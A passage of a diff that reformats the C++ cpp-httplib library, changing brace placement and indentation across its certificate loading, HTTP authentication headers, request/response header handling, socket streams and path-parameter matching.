*store) +{ + auto hStore = CertOpenSystemStoreW((HCRYPTPROV_LEGACY)NULL, L"ROOT"); + if (!hStore) { + return false; } - } - CertFreeCertificateContext(pContext); - CertCloseStore(hStore, 0); + auto result = false; + PCCERT_CONTEXT pContext = NULL; + while ((pContext = CertEnumCertificatesInStore(hStore, pContext)) != + nullptr) { + auto encoded_cert = + static_cast(pContext->pbCertEncoded); - return result; + auto x509 = d2i_X509(NULL, &encoded_cert, pContext->cbCertEncoded); + if (x509) { + X509_STORE_add_cert(store, x509); + X509_free(x509); + result = true; + } + } + + CertFreeCertificateContext(pContext); + CertCloseStore(hStore, 0); + + return result; } #elif defined(CPPHTTPLIB_USE_CERTS_FROM_MACOSX_KEYCHAIN) && defined(__APPLE__) #if TARGET_OS_OSX @@ -4917,106 +5565,121 @@ template using CFObjectPtr = std::unique_ptr::type, void (*)(CFTypeRef)>; -inline void cf_object_ptr_deleter(CFTypeRef obj) { - if (obj) { CFRelease(obj); } +inline void cf_object_ptr_deleter(CFTypeRef obj) +{ + if (obj) { + CFRelease(obj); + } } -inline bool retrieve_certs_from_keychain(CFObjectPtr &certs) { - CFStringRef keys[] = {kSecClass, kSecMatchLimit, kSecReturnRef}; - CFTypeRef values[] = {kSecClassCertificate, kSecMatchLimitAll, - kCFBooleanTrue}; +inline bool retrieve_certs_from_keychain(CFObjectPtr &certs) +{ + CFStringRef keys[] = {kSecClass, kSecMatchLimit, kSecReturnRef}; + CFTypeRef values[] = {kSecClassCertificate, kSecMatchLimitAll, + kCFBooleanTrue + }; - CFObjectPtr query( - CFDictionaryCreate(nullptr, reinterpret_cast(keys), values, - sizeof(keys) / sizeof(keys[0]), - &kCFTypeDictionaryKeyCallBacks, - &kCFTypeDictionaryValueCallBacks), - cf_object_ptr_deleter); + CFObjectPtr query( + CFDictionaryCreate(nullptr, reinterpret_cast(keys), values, + sizeof(keys) / sizeof(keys[0]), + &kCFTypeDictionaryKeyCallBacks, + &kCFTypeDictionaryValueCallBacks), + cf_object_ptr_deleter); - if (!query) { return false; } - - CFTypeRef security_items = nullptr; - if (SecItemCopyMatching(query.get(), &security_items) != errSecSuccess || - CFArrayGetTypeID() != CFGetTypeID(security_items)) { - return false; - } - - certs.reset(reinterpret_cast(security_items)); - return true; -} - -inline bool retrieve_root_certs_from_keychain(CFObjectPtr &certs) { - CFArrayRef root_security_items = nullptr; - if (SecTrustCopyAnchorCertificates(&root_security_items) != errSecSuccess) { - return false; - } - - certs.reset(root_security_items); - return true; -} - -inline bool add_certs_to_x509_store(CFArrayRef certs, X509_STORE *store) { - auto result = false; - for (auto i = 0; i < CFArrayGetCount(certs); ++i) { - const auto cert = reinterpret_cast( - CFArrayGetValueAtIndex(certs, i)); - - if (SecCertificateGetTypeID() != CFGetTypeID(cert)) { continue; } - - CFDataRef cert_data = nullptr; - if (SecItemExport(cert, kSecFormatX509Cert, 0, nullptr, &cert_data) != - errSecSuccess) { - continue; + if (!query) { + return false; } - CFObjectPtr cert_data_ptr(cert_data, cf_object_ptr_deleter); - - auto encoded_cert = static_cast( - CFDataGetBytePtr(cert_data_ptr.get())); - - auto x509 = - d2i_X509(NULL, &encoded_cert, CFDataGetLength(cert_data_ptr.get())); - - if (x509) { - X509_STORE_add_cert(store, x509); - X509_free(x509); - result = true; + CFTypeRef security_items = nullptr; + if (SecItemCopyMatching(query.get(), &security_items) != errSecSuccess || + CFArrayGetTypeID() != CFGetTypeID(security_items)) { + return false; } - } - return result; + certs.reset(reinterpret_cast(security_items)); + return true; } -inline bool load_system_certs_on_macos(X509_STORE *store) { - auto result = false; - CFObjectPtr certs(nullptr, cf_object_ptr_deleter); - if (retrieve_certs_from_keychain(certs) && certs) { - result = add_certs_to_x509_store(certs.get(), store); - } +inline bool retrieve_root_certs_from_keychain(CFObjectPtr &certs) +{ + CFArrayRef root_security_items = nullptr; + if (SecTrustCopyAnchorCertificates(&root_security_items) != errSecSuccess) { + return false; + } - if (retrieve_root_certs_from_keychain(certs) && certs) { - result = add_certs_to_x509_store(certs.get(), store) || result; - } + certs.reset(root_security_items); + return true; +} - return result; +inline bool add_certs_to_x509_store(CFArrayRef certs, X509_STORE *store) +{ + auto result = false; + for (auto i = 0; i < CFArrayGetCount(certs); ++i) { + const auto cert = reinterpret_cast( + CFArrayGetValueAtIndex(certs, i)); + + if (SecCertificateGetTypeID() != CFGetTypeID(cert)) { + continue; + } + + CFDataRef cert_data = nullptr; + if (SecItemExport(cert, kSecFormatX509Cert, 0, nullptr, &cert_data) != + errSecSuccess) { + continue; + } + + CFObjectPtr cert_data_ptr(cert_data, cf_object_ptr_deleter); + + auto encoded_cert = static_cast( + CFDataGetBytePtr(cert_data_ptr.get())); + + auto x509 = + d2i_X509(NULL, &encoded_cert, CFDataGetLength(cert_data_ptr.get())); + + if (x509) { + X509_STORE_add_cert(store, x509); + X509_free(x509); + result = true; + } + } + + return result; +} + +inline bool load_system_certs_on_macos(X509_STORE *store) +{ + auto result = false; + CFObjectPtr certs(nullptr, cf_object_ptr_deleter); + if (retrieve_certs_from_keychain(certs) && certs) { + result = add_certs_to_x509_store(certs.get(), store); + } + + if (retrieve_root_certs_from_keychain(certs) && certs) { + result = add_certs_to_x509_store(certs.get(), store) || result; + } + + return result; } #endif // TARGET_OS_OSX #endif // _WIN32 #endif // CPPHTTPLIB_OPENSSL_SUPPORT #ifdef _WIN32 -class WSInit { +class WSInit +{ public: - WSInit() { - WSADATA wsaData; - if (WSAStartup(0x0002, &wsaData) == 0) is_valid_ = true; - } + WSInit() + { + WSADATA wsaData; + if (WSAStartup(0x0002, &wsaData) == 0) is_valid_ = true; + } - ~WSInit() { - if (is_valid_) WSACleanup(); - } + ~WSInit() + { + if (is_valid_) WSACleanup(); + } - bool is_valid_ = false; + bool is_valid_ = false; }; static WSInit wsinit_; @@ -5026,372 +5689,428 @@ static WSInit wsinit_; inline std::pair make_digest_authentication_header( const Request &req, const std::map &auth, size_t cnonce_count, const std::string &cnonce, const std::string &username, - const std::string &password, bool is_proxy = false) { - std::string nc; - { - std::stringstream ss; - ss << std::setfill('0') << std::setw(8) << std::hex << cnonce_count; - nc = ss.str(); - } - - std::string qop; - if (auth.find("qop") != auth.end()) { - qop = auth.at("qop"); - if (qop.find("auth-int") != std::string::npos) { - qop = "auth-int"; - } else if (qop.find("auth") != std::string::npos) { - qop = "auth"; - } else { - qop.clear(); + const std::string &password, bool is_proxy = false) +{ + std::string nc; + { + std::stringstream ss; + ss << std::setfill('0') << std::setw(8) << std::hex << cnonce_count; + nc = ss.str(); } - } - std::string algo = "MD5"; - if (auth.find("algorithm") != auth.end()) { algo = auth.at("algorithm"); } - - std::string response; - { - auto H = algo == "SHA-256" ? detail::SHA_256 - : algo == "SHA-512" ? detail::SHA_512 - : detail::MD5; - - auto A1 = username + ":" + auth.at("realm") + ":" + password; - - auto A2 = req.method + ":" + req.path; - if (qop == "auth-int") { A2 += ":" + H(req.body); } - - if (qop.empty()) { - response = H(H(A1) + ":" + auth.at("nonce") + ":" + H(A2)); - } else { - response = H(H(A1) + ":" + auth.at("nonce") + ":" + nc + ":" + cnonce + - ":" + qop + ":" + H(A2)); + std::string qop; + if (auth.find("qop") != auth.end()) { + qop = auth.at("qop"); + if (qop.find("auth-int") != std::string::npos) { + qop = "auth-int"; + } else if (qop.find("auth") != std::string::npos) { + qop = "auth"; + } else { + qop.clear(); + } } - } - auto opaque = (auth.find("opaque") != auth.end()) ? auth.at("opaque") : ""; + std::string algo = "MD5"; + if (auth.find("algorithm") != auth.end()) { + algo = auth.at("algorithm"); + } - auto field = "Digest username=\"" + username + "\", realm=\"" + - auth.at("realm") + "\", nonce=\"" + auth.at("nonce") + - "\", uri=\"" + req.path + "\", algorithm=" + algo + - (qop.empty() ? ", response=\"" - : ", qop=" + qop + ", nc=" + nc + ", cnonce=\"" + - cnonce + "\", response=\"") + - response + "\"" + - (opaque.empty() ? "" : ", opaque=\"" + opaque + "\""); + std::string response; + { + auto H = algo == "SHA-256" ? detail::SHA_256 + : algo == "SHA-512" ? detail::SHA_512 + : detail::MD5; - auto key = is_proxy ? "Proxy-Authorization" : "Authorization"; - return std::make_pair(key, field); + auto A1 = username + ":" + auth.at("realm") + ":" + password; + + auto A2 = req.method + ":" + req.path; + if (qop == "auth-int") { + A2 += ":" + H(req.body); + } + + if (qop.empty()) { + response = H(H(A1) + ":" + auth.at("nonce") + ":" + H(A2)); + } else { + response = H(H(A1) + ":" + auth.at("nonce") + ":" + nc + ":" + cnonce + + ":" + qop + ":" + H(A2)); + } + } + + auto opaque = (auth.find("opaque") != auth.end()) ? auth.at("opaque") : ""; + + auto field = "Digest username=\"" + username + "\", realm=\"" + + auth.at("realm") + "\", nonce=\"" + auth.at("nonce") + + "\", uri=\"" + req.path + "\", algorithm=" + algo + + (qop.empty() ? ", response=\"" + : ", qop=" + qop + ", nc=" + nc + ", cnonce=\"" + + cnonce + "\", response=\"") + + response + "\"" + + (opaque.empty() ? "" : ", opaque=\"" + opaque + "\""); + + auto key = is_proxy ? "Proxy-Authorization" : "Authorization"; + return std::make_pair(key, field); } #endif inline bool parse_www_authenticate(const Response &res, std::map &auth, - bool is_proxy) { - auto auth_key = is_proxy ? "Proxy-Authenticate" : "WWW-Authenticate"; - if (res.has_header(auth_key)) { - static auto re = std::regex(R"~((?:(?:,\s*)?(.+?)=(?:"(.*?)"|([^,]*))))~"); - auto s = res.get_header_value(auth_key); - auto pos = s.find(' '); - if (pos != std::string::npos) { - auto type = s.substr(0, pos); - if (type == "Basic") { - return false; - } else if (type == "Digest") { - s = s.substr(pos + 1); - auto beg = std::sregex_iterator(s.begin(), s.end(), re); - for (auto i = beg; i != std::sregex_iterator(); ++i) { - const auto &m = *i; - auto key = s.substr(static_cast(m.position(1)), - static_cast(m.length(1))); - auto val = m.length(2) > 0 - ? s.substr(static_cast(m.position(2)), - static_cast(m.length(2))) - : s.substr(static_cast(m.position(3)), - static_cast(m.length(3))); - auth[key] = val; + bool is_proxy) +{ + auto auth_key = is_proxy ? "Proxy-Authenticate" : "WWW-Authenticate"; + if (res.has_header(auth_key)) { + static auto re = std::regex(R"~((?:(?:,\s*)?(.+?)=(?:"(.*?)"|([^,]*))))~"); + auto s = res.get_header_value(auth_key); + auto pos = s.find(' '); + if (pos != std::string::npos) { + auto type = s.substr(0, pos); + if (type == "Basic") { + return false; + } else if (type == "Digest") { + s = s.substr(pos + 1); + auto beg = std::sregex_iterator(s.begin(), s.end(), re); + for (auto i = beg; i != std::sregex_iterator(); ++i) { + const auto &m = *i; + auto key = s.substr(static_cast(m.position(1)), + static_cast(m.length(1))); + auto val = m.length(2) > 0 + ? s.substr(static_cast(m.position(2)), + static_cast(m.length(2))) + : s.substr(static_cast(m.position(3)), + static_cast(m.length(3))); + auth[key] = val; + } + return true; + } } - return true; - } } - } - return false; + return false; } // https://stackoverflow.com/questions/440133/how-do-i-create-a-random-alpha-numeric-string-in-c/440240#answer-440240 -inline std::string random_string(size_t length) { - auto randchar = []() -> char { - const char charset[] = "0123456789" - "ABCDEFGHIJKLMNOPQRSTUVWXYZ" - "abcdefghijklmnopqrstuvwxyz"; - const size_t max_index = (sizeof(charset) - 1); - return charset[static_cast(std::rand()) % max_index]; - }; - std::string str(length, 0); - std::generate_n(str.begin(), length, randchar); - return str; +inline std::string random_string(size_t length) +{ + auto randchar = []() -> char { + const char charset[] = "0123456789" + "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + "abcdefghijklmnopqrstuvwxyz"; + const size_t max_index = (sizeof(charset) - 1); + return charset[static_cast(std::rand()) % max_index]; + }; + std::string str(length, 0); + std::generate_n(str.begin(), length, randchar); + return str; } -class ContentProviderAdapter { +class ContentProviderAdapter +{ public: - explicit ContentProviderAdapter( - ContentProviderWithoutLength &&content_provider) - : content_provider_(content_provider) {} + explicit ContentProviderAdapter( + ContentProviderWithoutLength &&content_provider) + : content_provider_(content_provider) {} - bool operator()(size_t offset, size_t, DataSink &sink) { - return content_provider_(offset, sink); - } + bool operator()(size_t offset, size_t, DataSink &sink) + { + return content_provider_(offset, sink); + } private: - ContentProviderWithoutLength content_provider_; + ContentProviderWithoutLength content_provider_; }; } // namespace detail -inline std::string hosted_at(const std::string &hostname) { - std::vector addrs; - hosted_at(hostname, addrs); - if (addrs.empty()) { return std::string(); } - return addrs[0]; +inline std::string hosted_at(const std::string &hostname) +{ + std::vector addrs; + hosted_at(hostname, addrs); + if (addrs.empty()) { + return std::string(); + } + return addrs[0]; } inline void hosted_at(const std::string &hostname, - std::vector &addrs) { - struct addrinfo hints; - struct addrinfo *result; + std::vector &addrs) +{ + struct addrinfo hints; + struct addrinfo *result; - memset(&hints, 0, sizeof(struct addrinfo)); - hints.ai_family = AF_UNSPEC; - hints.ai_socktype = SOCK_STREAM; - hints.ai_protocol = 0; + memset(&hints, 0, sizeof(struct addrinfo)); + hints.ai_family = AF_UNSPEC; + hints.ai_socktype = SOCK_STREAM; + hints.ai_protocol = 0; - if (getaddrinfo(hostname.c_str(), nullptr, &hints, &result)) { + if (getaddrinfo(hostname.c_str(), nullptr, &hints, &result)) { #if defined __linux__ && !defined __ANDROID__ - res_init(); + res_init(); #endif - return; - } - - for (auto rp = result; rp; rp = rp->ai_next) { - const auto &addr = - *reinterpret_cast(rp->ai_addr); - std::string ip; - auto dummy = -1; - if (detail::get_ip_and_port(addr, sizeof(struct sockaddr_storage), ip, - dummy)) { - addrs.push_back(ip); + return; } - } - freeaddrinfo(result); + for (auto rp = result; rp; rp = rp->ai_next) { + const auto &addr = + *reinterpret_cast(rp->ai_addr); + std::string ip; + auto dummy = -1; + if (detail::get_ip_and_port(addr, sizeof(struct sockaddr_storage), ip, + dummy)) { + addrs.push_back(ip); + } + } + + freeaddrinfo(result); } inline std::string append_query_params(const std::string &path, - const Params ¶ms) { - std::string path_with_query = path; - const static std::regex re("[^?]+\\?.*"); - auto delm = std::regex_match(path, re) ? '&' : '?'; - path_with_query += delm + detail::params_to_query_str(params); - return path_with_query; + const Params ¶ms) +{ + std::string path_with_query = path; + const static std::regex re("[^?]+\\?.*"); + auto delm = std::regex_match(path, re) ? '&' : '?'; + path_with_query += delm + detail::params_to_query_str(params); + return path_with_query; } // Header utilities -inline std::pair make_range_header(Ranges ranges) { - std::string field = "bytes="; - auto i = 0; - for (auto r : ranges) { - if (i != 0) { field += ", "; } - if (r.first != -1) { field += std::to_string(r.first); } - field += '-'; - if (r.second != -1) { field += std::to_string(r.second); } - i++; - } - return std::make_pair("Range", std::move(field)); +inline std::pair make_range_header(Ranges ranges) +{ + std::string field = "bytes="; + auto i = 0; + for (auto r : ranges) { + if (i != 0) { + field += ", "; + } + if (r.first != -1) { + field += std::to_string(r.first); + } + field += '-'; + if (r.second != -1) { + field += std::to_string(r.second); + } + i++; + } + return std::make_pair("Range", std::move(field)); } inline std::pair make_basic_authentication_header(const std::string &username, - const std::string &password, bool is_proxy) { - auto field = "Basic " + detail::base64_encode(username + ":" + password); - auto key = is_proxy ? "Proxy-Authorization" : "Authorization"; - return std::make_pair(key, std::move(field)); + const std::string &password, bool is_proxy) +{ + auto field = "Basic " + detail::base64_encode(username + ":" + password); + auto key = is_proxy ? "Proxy-Authorization" : "Authorization"; + return std::make_pair(key, std::move(field)); } inline std::pair make_bearer_token_authentication_header(const std::string &token, - bool is_proxy = false) { - auto field = "Bearer " + token; - auto key = is_proxy ? "Proxy-Authorization" : "Authorization"; - return std::make_pair(key, std::move(field)); + bool is_proxy = false) +{ + auto field = "Bearer " + token; + auto key = is_proxy ? "Proxy-Authorization" : "Authorization"; + return std::make_pair(key, std::move(field)); } // Request implementation -inline bool Request::has_header(const std::string &key) const { - return detail::has_header(headers, key); +inline bool Request::has_header(const std::string &key) const +{ + return detail::has_header(headers, key); } inline std::string Request::get_header_value(const std::string &key, - size_t id) const { - return detail::get_header_value(headers, key, id, ""); + size_t id) const +{ + return detail::get_header_value(headers, key, id, ""); } -inline size_t Request::get_header_value_count(const std::string &key) const { - auto r = headers.equal_range(key); - return static_cast(std::distance(r.first, r.second)); +inline size_t Request::get_header_value_count(const std::string &key) const +{ + auto r = headers.equal_range(key); + return static_cast(std::distance(r.first, r.second)); } inline void Request::set_header(const std::string &key, - const std::string &val) { - if (!detail::has_crlf(key) && !detail::has_crlf(val)) { - headers.emplace(key, val); - } + const std::string &val) +{ + if (!detail::has_crlf(key) && !detail::has_crlf(val)) { + headers.emplace(key, val); + } } -inline bool Request::has_param(const std::string &key) const { - return params.find(key) != params.end(); +inline bool Request::has_param(const std::string &key) const +{ + return params.find(key) != params.end(); } inline std::string Request::get_param_value(const std::string &key, - size_t id) const { - auto rng = params.equal_range(key); - auto it = rng.first; - std::advance(it, static_cast(id)); - if (it != rng.second) { return it->second; } - return std::string(); + size_t id) const +{ + auto rng = params.equal_range(key); + auto it = rng.first; + std::advance(it, static_cast(id)); + if (it != rng.second) { + return it->second; + } + return std::string(); } -inline size_t Request::get_param_value_count(const std::string &key) const { - auto r = params.equal_range(key); - return static_cast(std::distance(r.first, r.second)); +inline size_t Request::get_param_value_count(const std::string &key) const +{ + auto r = params.equal_range(key); + return static_cast(std::distance(r.first, r.second)); } -inline bool Request::is_multipart_form_data() const { - const auto &content_type = get_header_value("Content-Type"); - return !content_type.rfind("multipart/form-data", 0); +inline bool Request::is_multipart_form_data() const +{ + const auto &content_type = get_header_value("Content-Type"); + return !content_type.rfind("multipart/form-data", 0); } -inline bool Request::has_file(const std::string &key) const { - return files.find(key) != files.end(); +inline bool Request::has_file(const std::string &key) const +{ + return files.find(key) != files.end(); } -inline MultipartFormData Request::get_file_value(const std::string &key) const { - auto it = files.find(key); - if (it != files.end()) { return it->second; } - return MultipartFormData(); +inline MultipartFormData Request::get_file_value(const std::string &key) const +{ + auto it = files.find(key); + if (it != files.end()) { + return it->second; + } + return MultipartFormData(); } inline std::vector -Request::get_file_values(const std::string &key) const { - std::vector values; - auto rng = files.equal_range(key); - for (auto it = rng.first; it != rng.second; it++) { - values.push_back(it->second); - } - return values; +Request::get_file_values(const std::string &key) const +{ + std::vector values; + auto rng = files.equal_range(key); + for (auto it = rng.first; it != rng.second; it++) { + values.push_back(it->second); + } + return values; } // Response implementation -inline bool Response::has_header(const std::string &key) const { - return headers.find(key) != headers.end(); +inline bool Response::has_header(const std::string &key) const +{ + return headers.find(key) != headers.end(); } inline std::string Response::get_header_value(const std::string &key, - size_t id) const { - return detail::get_header_value(headers, key, id, ""); + size_t id) const +{ + return detail::get_header_value(headers, key, id, ""); } -inline size_t Response::get_header_value_count(const std::string &key) const { - auto r = headers.equal_range(key); - return static_cast(std::distance(r.first, r.second)); +inline size_t Response::get_header_value_count(const std::string &key) const +{ + auto r = headers.equal_range(key); + return static_cast(std::distance(r.first, r.second)); } inline void Response::set_header(const std::string &key, - const std::string &val) { - if (!detail::has_crlf(key) && !detail::has_crlf(val)) { - headers.emplace(key, val); - } + const std::string &val) +{ + if (!detail::has_crlf(key) && !detail::has_crlf(val)) { + headers.emplace(key, val); + } } -inline void Response::set_redirect(const std::string &url, int stat) { - if (!detail::has_crlf(url)) { - set_header("Location", url); - if (300 <= stat && stat < 400) { - this->status = stat; - } else { - this->status = StatusCode::Found_302; +inline void Response::set_redirect(const std::string &url, int stat) +{ + if (!detail::has_crlf(url)) { + set_header("Location", url); + if (300 <= stat && stat < 400) { + this->status = stat; + } else { + this->status = StatusCode::Found_302; + } } - } } inline void Response::set_content(const char *s, size_t n, - const std::string &content_type) { - body.assign(s, n); + const std::string &content_type) +{ + body.assign(s, n); - auto rng = headers.equal_range("Content-Type"); - headers.erase(rng.first, rng.second); - set_header("Content-Type", content_type); + auto rng = headers.equal_range("Content-Type"); + headers.erase(rng.first, rng.second); + set_header("Content-Type", content_type); } inline void Response::set_content(const std::string &s, - const std::string &content_type) { - set_content(s.data(), s.size(), content_type); + const std::string &content_type) +{ + set_content(s.data(), s.size(), content_type); } inline void Response::set_content_provider( size_t in_length, const std::string &content_type, ContentProvider provider, - ContentProviderResourceReleaser resource_releaser) { - set_header("Content-Type", content_type); - content_length_ = in_length; - if (in_length > 0) { content_provider_ = std::move(provider); } - content_provider_resource_releaser_ = resource_releaser; - is_chunked_content_provider_ = false; + ContentProviderResourceReleaser resource_releaser) +{ + set_header("Content-Type", content_type); + content_length_ = in_length; + if (in_length > 0) { + content_provider_ = std::move(provider); + } + content_provider_resource_releaser_ = resource_releaser; + is_chunked_content_provider_ = false; } inline void Response::set_content_provider( const std::string &content_type, ContentProviderWithoutLength provider, - ContentProviderResourceReleaser resource_releaser) { - set_header("Content-Type", content_type); - content_length_ = 0; - content_provider_ = detail::ContentProviderAdapter(std::move(provider)); - content_provider_resource_releaser_ = resource_releaser; - is_chunked_content_provider_ = false; + ContentProviderResourceReleaser resource_releaser) +{ + set_header("Content-Type", content_type); + content_length_ = 0; + content_provider_ = detail::ContentProviderAdapter(std::move(provider)); + content_provider_resource_releaser_ = resource_releaser; + is_chunked_content_provider_ = false; } inline void Response::set_chunked_content_provider( const std::string &content_type, ContentProviderWithoutLength provider, - ContentProviderResourceReleaser resource_releaser) { - set_header("Content-Type", content_type); - content_length_ = 0; - content_provider_ = detail::ContentProviderAdapter(std::move(provider)); - content_provider_resource_releaser_ = resource_releaser; - is_chunked_content_provider_ = true; + ContentProviderResourceReleaser resource_releaser) +{ + set_header("Content-Type", content_type); + content_length_ = 0; + content_provider_ = detail::ContentProviderAdapter(std::move(provider)); + content_provider_resource_releaser_ = resource_releaser; + is_chunked_content_provider_ = true; } // Result implementation -inline bool Result::has_request_header(const std::string &key) const { - return request_headers_.find(key) != request_headers_.end(); +inline bool Result::has_request_header(const std::string &key) const +{ + return request_headers_.find(key) != request_headers_.end(); } inline std::string Result::get_request_header_value(const std::string &key, - size_t id) const { - return detail::get_header_value(request_headers_, key, id, ""); + size_t id) const +{ + return detail::get_header_value(request_headers_, key, id, ""); } inline size_t -Result::get_request_header_value_count(const std::string &key) const { - auto r = request_headers_.equal_range(key); - return static_cast(std::distance(r.first, r.second)); +Result::get_request_header_value_count(const std::string &key) const +{ + auto r = request_headers_.equal_range(key); + return static_cast(std::distance(r.first, r.second)); } // Stream implementation -inline ssize_t Stream::write(const char *ptr) { - return write(ptr, strlen(ptr)); +inline ssize_t Stream::write(const char *ptr) +{ + return write(ptr, strlen(ptr)); } -inline ssize_t Stream::write(const std::string &s) { - return write(s.data(), s.size()); +inline ssize_t Stream::write(const std::string &s) +{ + return write(s.data(), s.size()); } -namespace detail { +namespace detail +{ // Socket stream implementation inline SocketStream::SocketStream(socket_t sock, time_t read_timeout_sec, @@ -5405,205 +6124,243 @@ inline SocketStream::SocketStream(socket_t sock, time_t read_timeout_sec, inline SocketStream::~SocketStream() = default; -inline bool SocketStream::is_readable() const { - return select_read(sock_, read_timeout_sec_, read_timeout_usec_) > 0; +inline bool SocketStream::is_readable() const +{ + return select_read(sock_, read_timeout_sec_, read_timeout_usec_) > 0; } -inline bool SocketStream::is_writable() const { - return select_write(sock_, write_timeout_sec_, write_timeout_usec_) > 0 && - is_socket_alive(sock_); +inline bool SocketStream::is_writable() const +{ + return select_write(sock_, write_timeout_sec_, write_timeout_usec_) > 0 && + is_socket_alive(sock_); } -inline ssize_t SocketStream::read(char *ptr, size_t size) { +inline ssize_t SocketStream::read(char *ptr, size_t size) +{ #ifdef _WIN32 - size = - (std::min)(size, static_cast((std::numeric_limits::max)())); + size = + (std::min)(size, static_cast((std::numeric_limits::max)())); #else - size = (std::min)(size, - static_cast((std::numeric_limits::max)())); + size = (std::min)(size, + static_cast((std::numeric_limits::max)())); #endif - if (read_buff_off_ < read_buff_content_size_) { - auto remaining_size = read_buff_content_size_ - read_buff_off_; - if (size <= remaining_size) { - memcpy(ptr, read_buff_.data() + read_buff_off_, size); - read_buff_off_ += size; - return static_cast(size); - } else { - memcpy(ptr, read_buff_.data() + read_buff_off_, remaining_size); - read_buff_off_ += remaining_size; - return static_cast(remaining_size); + if (read_buff_off_ < read_buff_content_size_) { + auto remaining_size = read_buff_content_size_ - read_buff_off_; + if (size <= remaining_size) { + memcpy(ptr, read_buff_.data() + read_buff_off_, size); + read_buff_off_ += size; + return static_cast(size); + } else { + memcpy(ptr, read_buff_.data() + read_buff_off_, remaining_size); + read_buff_off_ += remaining_size; + return static_cast(remaining_size); + } } - } - if (!is_readable()) { return -1; } - - read_buff_off_ = 0; - read_buff_content_size_ = 0; - - if (size < read_buff_size_) { - auto n = read_socket(sock_, read_buff_.data(), read_buff_size_, - CPPHTTPLIB_RECV_FLAGS); - if (n <= 0) { - return n; - } else if (n <= static_cast(size)) { - memcpy(ptr, read_buff_.data(), static_cast(n)); - return n; - } else { - memcpy(ptr, read_buff_.data(), size); - read_buff_off_ = size; - read_buff_content_size_ = static_cast(n); - return static_cast(size); + if (!is_readable()) { + return -1; + } + + read_buff_off_ = 0; + read_buff_content_size_ = 0; + + if (size < read_buff_size_) { + auto n = read_socket(sock_, read_buff_.data(), read_buff_size_, + CPPHTTPLIB_RECV_FLAGS); + if (n <= 0) { + return n; + } else if (n <= static_cast(size)) { + memcpy(ptr, read_buff_.data(), static_cast(n)); + return n; + } else { + memcpy(ptr, read_buff_.data(), size); + read_buff_off_ = size; + read_buff_content_size_ = static_cast(n); + return static_cast(size); + } + } else { + return read_socket(sock_, ptr, size, CPPHTTPLIB_RECV_FLAGS); } - } else { - return read_socket(sock_, ptr, size, CPPHTTPLIB_RECV_FLAGS); - } } -inline ssize_t SocketStream::write(const char *ptr, size_t size) { - if (!is_writable()) { return -1; } +inline ssize_t SocketStream::write(const char *ptr, size_t size) +{ + if (!is_writable()) { + return -1; + } #if defined(_WIN32) && !defined(_WIN64) - size = - (std::min)(size, static_cast((std::numeric_limits::max)())); + size = + (std::min)(size, static_cast((std::numeric_limits::max)())); #endif - return send_socket(sock_, ptr, size, CPPHTTPLIB_SEND_FLAGS); + return send_socket(sock_, ptr, size, CPPHTTPLIB_SEND_FLAGS); } inline void SocketStream::get_remote_ip_and_port(std::string &ip, - int &port) const { - return detail::get_remote_ip_and_port(sock_, ip, port); + int &port) const +{ + return detail::get_remote_ip_and_port(sock_, ip, port); } inline void SocketStream::get_local_ip_and_port(std::string &ip, - int &port) const { - return detail::get_local_ip_and_port(sock_, ip, port); + int &port) const +{ + return detail::get_local_ip_and_port(sock_, ip, port); } -inline socket_t SocketStream::socket() const { return sock_; } +inline socket_t SocketStream::socket() const +{ + return sock_; +} // Buffer stream implementation -inline bool BufferStream::is_readable() const { return true; } - -inline bool BufferStream::is_writable() const { return true; } - -inline ssize_t BufferStream::read(char *ptr, size_t size) { -#if defined(_MSC_VER) && _MSC_VER < 1910 - auto len_read = buffer._Copy_s(ptr, size, size, position); -#else - auto len_read = buffer.copy(ptr, size, position); -#endif - position += static_cast(len_read); - return static_cast(len_read); +inline bool BufferStream::is_readable() const +{ + return true; } -inline ssize_t BufferStream::write(const char *ptr, size_t size) { - buffer.append(ptr, size); - return static_cast(size); +inline bool BufferStream::is_writable() const +{ + return true; +} + +inline ssize_t BufferStream::read(char *ptr, size_t size) +{ +#if defined(_MSC_VER) && _MSC_VER < 1910 + auto len_read = buffer._Copy_s(ptr, size, size, position); +#else + auto len_read = buffer.copy(ptr, size, position); +#endif + position += static_cast(len_read); + return static_cast(len_read); +} + +inline ssize_t BufferStream::write(const char *ptr, size_t size) +{ + buffer.append(ptr, size); + return static_cast(size); } inline void BufferStream::get_remote_ip_and_port(std::string & /*ip*/, - int & /*port*/) const {} + int & /*port*/) const {} inline void BufferStream::get_local_ip_and_port(std::string & /*ip*/, - int & /*port*/) const {} + int & /*port*/) const {} -inline socket_t BufferStream::socket() const { return 0; } - -inline const std::string &BufferStream::get_buffer() const { return buffer; } - -inline PathParamsMatcher::PathParamsMatcher(const std::string &pattern) { - // One past the last ending position of a path param substring - std::size_t last_param_end = 0; - -#ifndef CPPHTTPLIB_NO_EXCEPTIONS - // Needed to ensure that parameter names are unique during matcher - // construction - // If exceptions are disabled, only last duplicate path - // parameter will be set - std::unordered_set param_name_set; -#endif - - while (true) { - const auto marker_pos = pattern.find(marker, last_param_end); - if (marker_pos == std::string::npos) { break; } - - static_fragments_.push_back( - pattern.substr(last_param_end, marker_pos - last_param_end)); - - const auto param_name_start = marker_pos + 1; - - auto sep_pos = pattern.find(separator, param_name_start); - if (sep_pos == std::string::npos) { sep_pos = pattern.length(); } - - auto param_name = - pattern.substr(param_name_start, sep_pos - param_name_start); - -#ifndef CPPHTTPLIB_NO_EXCEPTIONS - if (param_name_set.find(param_name) != param_name_set.cend()) { - std::string msg = "Encountered path parameter '" + param_name + - "' multiple times in route pattern '" + pattern + "'."; - throw std::invalid_argument(msg); - } -#endif - - param_names_.push_back(std::move(param_name)); - - last_param_end = sep_pos + 1; - } - - if (last_param_end < pattern.length()) { - static_fragments_.push_back(pattern.substr(last_param_end)); - } +inline socket_t BufferStream::socket() const +{ + return 0; } -inline bool PathParamsMatcher::match(Request &request) const { - request.matches = std::smatch(); - request.path_params.clear(); - request.path_params.reserve(param_names_.size()); - - // One past the position at which the path matched the pattern last time - std::size_t starting_pos = 0; - for (size_t i = 0; i < static_fragments_.size(); ++i) { - const auto &fragment = static_fragments_[i]; - - if (starting_pos + fragment.length() > request.path.length()) { - return false; - } - - // Avoid unnecessary allocation by using strncmp instead of substr + - // comparison - if (std::strncmp(request.path.c_str() + starting_pos, fragment.c_str(), - fragment.length()) != 0) { - return false; - } - - starting_pos += fragment.length(); - - // Should only happen when we have a static fragment after a param - // Example: '/users/:id/subscriptions' - // The 'subscriptions' fragment here does not have a corresponding param - if (i >= param_names_.size()) { continue; } - - auto sep_pos = request.path.find(separator, starting_pos); - if (sep_pos == std::string::npos) { 